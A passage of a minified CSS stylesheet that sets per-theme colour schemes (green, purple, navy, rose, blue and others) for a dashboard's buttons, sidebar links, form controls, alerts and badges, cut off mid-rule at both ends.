.nav-link { color: #ffffff; background: linear-gradient(141.55deg, #6FD943 3.46%, #6FD943 99.86%), #6FD943; } body.theme-3 .form-check-input:focus, body.theme-3 .form-select:focus, body.theme-3 .form-control:focus, body.theme-3 .custom-select:focus, body.theme-3 .dataTable-selector:focus, body.theme-3 .dataTable-input:focus { border-color: #6FD943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb { background: #6FD943; } body.theme-3 .form-range::-webkit-slider-thumb:active { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb { background: #6FD943; } body.theme-3 .form-range::-moz-range-thumb:active { background: #6FD943; } body.theme-3 .form-check-input:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check-input[type="checkbox"]:indeterminate { background-color: #6FD943; border-color: #6FD943; } body.theme-3 .form-check .form-check-input.input-primary:checked { background-color: #6FD943; border-color: #6FD943; } body.theme-3 pre[class*="language-"] > code { border-left-color: #6FD943; background-image: linear-gradient(transparent 50%, rgba(111, 217, 67, 0.04) 50%); } body.theme-3 .card .card-header h5:after, body.theme-3 .card .card-header .h5:after, body.theme-3 .card .card-header .h5:after { background: #6FD943; } body.theme-2 { background: linear-gradient(115.25deg, #ffffff 0%, #f8f9fd 100.25%); } body.theme-2 .bg-primary { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .dash-header .drp-language .drp-text, body.theme-2 .dash-header .dash-head-link > i:not(.nocolor) { color: #584ED2; } body.theme-2 .dash-header .drp-company .theme-avtar { background: #dedcf6; color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; color: #fff; box-shadow: 0 5px 7px -1px rgba(88, 78, 210, 0.3); } body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-2 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #584ED2; } body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-2 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #584ED2; } body.theme-2 a:not([class]) { color: #584ED2; } body.theme-2 a:not([class]):hover { color: #584ED2; } body.theme-2 .text-primary { color: #584ED2 !important; } body.theme-2 .list-group-item.active { background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2 !important; } body.theme-2 .progress-bar:not([class*="bg-"]), body.theme-2 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #4b42b3; --bs-btn-hover-border-color: #463ea8; --bs-btn-focus-shadow-rgb: 113, 105, 217; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #463ea8; --bs-btn-active-border-color: #423b9e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #584ED2; --bs-btn-disabled-border-color: #584ED2; } body.theme-2 .btn-outline-primary { --bs-btn-color: #584ED2; --bs-btn-border-color: #584ED2; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #584ED2; --bs-btn-hover-border-color: #584ED2; --bs-btn-focus-shadow-rgb: 88, 78, 210; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #584ED2; --bs-btn-active-border-color: #584ED2; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #584ED2; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #584ED2; --bs-gradient: none; } body.theme-2 .btn-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .btn-light-primary:hover { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary.focus, body.theme-2 .btn-light-primary:focus { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-2 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-2 .btn-light-primary.dropdown-toggle { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .btn-check:active + .btn-light-primary, body.theme-2 .btn-check:checked + .btn-light-primary { background: #584ED2; color: #fff; border-color: #584ED2; } body.theme-2 .alert-primary { --bs-alert-color: #352f7e; --bs-alert-bg: #dedcf6; --bs-alert-border-color: #cdcaf2; } body.theme-2 .alert-primary .alert-link { color: #2a2665; } body.theme-2 .badge.bg-light-primary { background: #dedcf6; color: #584ED2; border-color: #dedcf6; } body.theme-2 .page-item.active .page-link { background: #584ED2; border-color: #584ED2; } body.theme-2 .nav-link { color: #584ED2; } body.theme-2 .nav-link:hover, body.theme-2 .nav-link:focus { color: #584ED2; } body.theme-2 .nav-tabs .nav-link { background: none; } body.theme-2 .nav-pills .nav-link { background: none; } body.theme-2 .nav-pills .nav-link:focus, body.theme-2 .nav-pills .nav-link.active, body.theme-2 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #584ED2 3.46%, #584ED2 99.86%), #584ED2; } body.theme-2 .form-check-input:focus, body.theme-2 .form-select:focus, body.theme-2 .form-control:focus, body.theme-2 .custom-select:focus, body.theme-2 .dataTable-selector:focus, body.theme-2 .dataTable-input:focus { border-color: #584ED2; box-shadow: 0 0 0 0.2rem rgba(88, 78, 210, 0.25); } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb { background: #584ED2; } body.theme-2 .form-range::-webkit-slider-thumb:active { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb { background: #584ED2; } body.theme-2 .form-range::-moz-range-thumb:active { background: #584ED2; } body.theme-2 .form-check-input:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check-input[type="checkbox"]:indeterminate { background-color: #584ED2; border-color: #584ED2; } body.theme-2 .form-check .form-check-input.input-primary:checked { background-color: #584ED2; border-color: #584ED2; } body.theme-2 pre[class*="language-"] > code { border-left-color: #584ED2; background-image: linear-gradient(transparent 50%, rgba(88, 78, 210, 0.04) 50%); } body.theme-2 .card .card-header h5:after, body.theme-2 .card .card-header .h5:after, body.theme-2 .card .card-header .h5:after { background: #584ED2; } body.theme-4 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-4 .bg-primary { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .dash-header .drp-language .drp-text, body.theme-4 .dash-header .dash-head-link > i:not(.nocolor) { color: #145388; } body.theme-4 .dash-header .drp-company .theme-avtar { background: #d0dde7; color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; color: #fff; box-shadow: 0 5px 7px -1px rgba(20, 83, 136, 0.3); } body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-4 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #145388; } body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-4 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #145388; } body.theme-4 a:not([class]) { color: #145388; } body.theme-4 a:not([class]):hover { color: #145388; } body.theme-4 .text-primary { color: #145388 !important; } body.theme-4 .list-group-item.active { background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388 !important; } body.theme-4 .progress-bar:not([class*="bg-"]), body.theme-4 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #114774; --bs-btn-hover-border-color: #10426d; --bs-btn-focus-shadow-rgb: 55, 109, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #10426d; --bs-btn-active-border-color: #0f3e66; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #145388; --bs-btn-disabled-border-color: #145388; } body.theme-4 .btn-outline-primary { --bs-btn-color: #145388; --bs-btn-border-color: #145388; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #145388; --bs-btn-hover-border-color: #145388; --bs-btn-focus-shadow-rgb: 20, 83, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #145388; --bs-btn-active-border-color: #145388; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #145388; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #145388; --bs-gradient: none; } body.theme-4 .btn-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .btn-light-primary:hover { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary.focus, body.theme-4 .btn-light-primary:focus { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-4 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-4 .btn-light-primary.dropdown-toggle { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .btn-check:active + .btn-light-primary, body.theme-4 .btn-check:checked + .btn-light-primary { background: #145388; color: #fff; border-color: #145388; } body.theme-4 .alert-primary { --bs-alert-color: #0c3252; --bs-alert-bg: #d0dde7; --bs-alert-border-color: #b9cbdb; } body.theme-4 .alert-primary .alert-link { color: #0a2842; } body.theme-4 .badge.bg-light-primary { background: #d0dde7; color: #145388; border-color: #d0dde7; } body.theme-4 .page-item.active .page-link { background: #145388; border-color: #145388; } body.theme-4 .nav-link { color: #145388; } body.theme-4 .nav-link:hover, body.theme-4 .nav-link:focus { color: #145388; } body.theme-4 .nav-tabs .nav-link { background: none; } body.theme-4 .nav-pills .nav-link { background: none; } body.theme-4 .nav-pills .nav-link:focus, body.theme-4 .nav-pills .nav-link.active, body.theme-4 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .form-check-input:focus, body.theme-4 .form-select:focus, body.theme-4 .form-control:focus, body.theme-4 .custom-select:focus, body.theme-4 .dataTable-selector:focus, body.theme-4 .dataTable-input:focus { border-color: #145388; box-shadow: 0 0 0 0.2rem rgba(20, 83, 136, 0.25); } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-range::-webkit-slider-thumb { background: #145388; } body.theme-4 .form-range::-webkit-slider-thumb:active { background: #145388; } body.theme-4 .form-range::-moz-range-thumb { background: #145388; } body.theme-4 .form-range::-moz-range-thumb:active { background: #145388; } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-check-input[type="checkbox"]:indeterminate { background-color: #145388; border-color: #145388; } body.theme-4 .form-check .form-check-input.input-primary:checked { background-color: #145388; border-color: #145388; } body.theme-4 pre[class*="language-"] > code { border-left-color: #145388; background-image: linear-gradient(transparent 50%, rgba(20, 83, 136, 0.04) 50%); } body.theme-4 .card .card-header h5:after, body.theme-4 .card .card-header .h5:after, body.theme-4 .card .card-header .h5:after { background: #145388; } body.theme-5 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-5 .bg-primary { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .dash-header .drp-language .drp-text, body.theme-5 .dash-header .dash-head-link > i:not(.nocolor) { color: #B9406B; } body.theme-5 .dash-header .drp-company .theme-avtar { background: #f1d9e1; color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; color: #fff; box-shadow: 0 5px 7px -1px rgba(185, 64, 107, 0.3); } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #B9406B; } body.theme-5 a:not([class]) { color: #B9406B; } body.theme-5 a:not([class]):hover { color: #B9406B; } body.theme-5 .text-primary { color: #B9406B !important; } body.theme-5 .list-group-item.active { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .progress-bar:not([class*="bg-"]), body.theme-5 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #9d365b; --bs-btn-hover-border-color: #943356; --bs-btn-focus-shadow-rgb: 196, 93, 129; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #943356; --bs-btn-active-border-color: #8b3050; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #B9406B; --bs-btn-disabled-border-color: #B9406B; } body.theme-5 .btn-outline-primary { --bs-btn-color: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #B9406B; --bs-btn-hover-border-color: #B9406B; --bs-btn-focus-shadow-rgb: 185, 64, 107; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #B9406B; --bs-btn-active-border-color: #B9406B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #B9406B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #B9406B; --bs-gradient: none; } body.theme-5 .btn-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .btn-light-primary:hover { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary.focus, body.theme-5 .btn-light-primary:focus { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-5 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-5 .btn-light-primary.dropdown-toggle { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-check:active + .btn-light-primary, body.theme-5 .btn-check:checked + .btn-light-primary { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .alert-primary { --bs-alert-color: #6f2640; --bs-alert-bg: #f1d9e1; --bs-alert-border-color: #eac6d3; } body.theme-5 .alert-primary .alert-link { color: #591e33; } body.theme-5 .badge.bg-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .page-item.active .page-link { background: #B9406B; border-color: #B9406B; } body.theme-5 .nav-link { color: #B9406B; } body.theme-5 .nav-link:hover, body.theme-5 .nav-link:focus { color: #B9406B; } body.theme-5 .nav-tabs .nav-link { background: none; } body.theme-5 .nav-pills .nav-link { background: none; } body.theme-5 .nav-pills .nav-link:focus, body.theme-5 .nav-pills .nav-link.active, body.theme-5 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .form-check-input:focus, body.theme-5 .form-select:focus, body.theme-5 .form-control:focus, body.theme-5 .custom-select:focus, body.theme-5 .dataTable-selector:focus, body.theme-5 .dataTable-input:focus { border-color: #B9406B; box-shadow: 0 0 0 0.2rem rgba(185, 64, 107, 0.25); } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb { background: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb:active { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb:active { background: #B9406B; } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check-input[type="checkbox"]:indeterminate { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check .form-check-input.input-primary:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 pre[class*="language-"] > code { border-left-color: #B9406B; background-image: linear-gradient(transparent 50%, rgba(185, 64, 107, 0.04) 50%); } body.theme-5 .card .card-header h5:after, body.theme-5 .card .card-header .h5:after, body.theme-5 .card .card-header .h5:after { background: #B9406B; } body.theme-6 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-6 .bg-primary { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .dash-header .drp-language .drp-text, body.theme-6 .dash-header .dash-head-link > i:not(.nocolor) { color: #008ECC; } body.theme-6 .dash-header .drp-company .theme-avtar { background: #cce8f5; color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; color: #fff; box-shadow: 0 5px 7px -1px rgba(0, 142, 204, 0.3); } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #008ECC; } body.theme-6 a:not([class]) { color: #008ECC; } body.theme-6 a:not([class]):hover { color: #008ECC; } body.theme-6 .text-primary { color: #008ECC !important; } body.theme-6 .list-group-item.active { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .progress-bar:not([class*="bg-"]), body.theme-6 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0079ad; --bs-btn-hover-border-color: #0072a3; --bs-btn-focus-shadow-rgb: 38, 159, 212; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0072a3; --bs-btn-active-border-color: #006b99; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #008ECC; --bs-btn-disabled-border-color: #008ECC; } body.theme-6 .btn-outline-primary { --bs-btn-color: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #008ECC; --bs-btn-hover-border-color: #008ECC; --bs-btn-focus-shadow-rgb: 0, 142, 204; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #008ECC; --bs-btn-active-border-color: #008ECC; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #008ECC; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #008ECC; --bs-gradient: none; } body.theme-6 .btn-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .btn-light-primary:hover { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary.focus, body.theme-6 .btn-light-primary:focus { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-6 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-6 .btn-light-primary.dropdown-toggle { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-check:active + .btn-light-primary, body.theme-6 .btn-check:checked + .btn-light-primary { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .alert-primary { --bs-alert-color: #00557a; --bs-alert-bg: #cce8f5; --bs-alert-border-color: #b3ddf0; } body.theme-6 .alert-primary .alert-link { color: #004462; } body.theme-6 .badge.bg-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .page-item.active .page-link { background: #008ECC; border-color: #008ECC; } body.theme-6 .nav-link { color: #008ECC; } body.theme-6 .nav-link:hover, body.theme-6 .nav-link:focus { color: #008ECC; } body.theme-6 .nav-tabs .nav-link { background: none; } body.theme-6 .nav-pills .nav-link { background: none; } body.theme-6 .nav-pills .nav-link:focus, body.theme-6 .nav-pills .nav-link.active, body.theme-6 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .form-check-input:focus, body.theme-6 .form-select:focus, body.theme-6 .form-control:focus, body.theme-6 .custom-select:focus, body.theme-6 .dataTable-selector:focus, body.theme-6 .dataTable-input:focus { border-color: #008ECC; box-shadow: 0 0 0 0.2rem rgba(0, 142, 204, 0.25); } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb { background: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb:active { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb:active { background: #008ECC; } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check-input[type="checkbox"]:indeterminate { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check .form-check-input.input-primary:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 pre[class*="language-"] > code { border-left-color: #008ECC; background-image: linear-gradient(transparent 50%, rgba(0, 142, 204, 0.04) 50%); } body.theme-6 .card .card-header h5:after, body.theme-6 .card .card-header .h5:after, body.theme-6 .card .card-header .h5:after { background: #008ECC; } body.theme-7 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-7 .bg-primary { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .dash-header .drp-language .drp-text, body.theme-7 .dash-header .dash-head-link > i:not(.nocolor) { color: #922C88; } body.theme-7 .dash-header .drp-company .theme-avtar { background: #e9d5e7; color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > 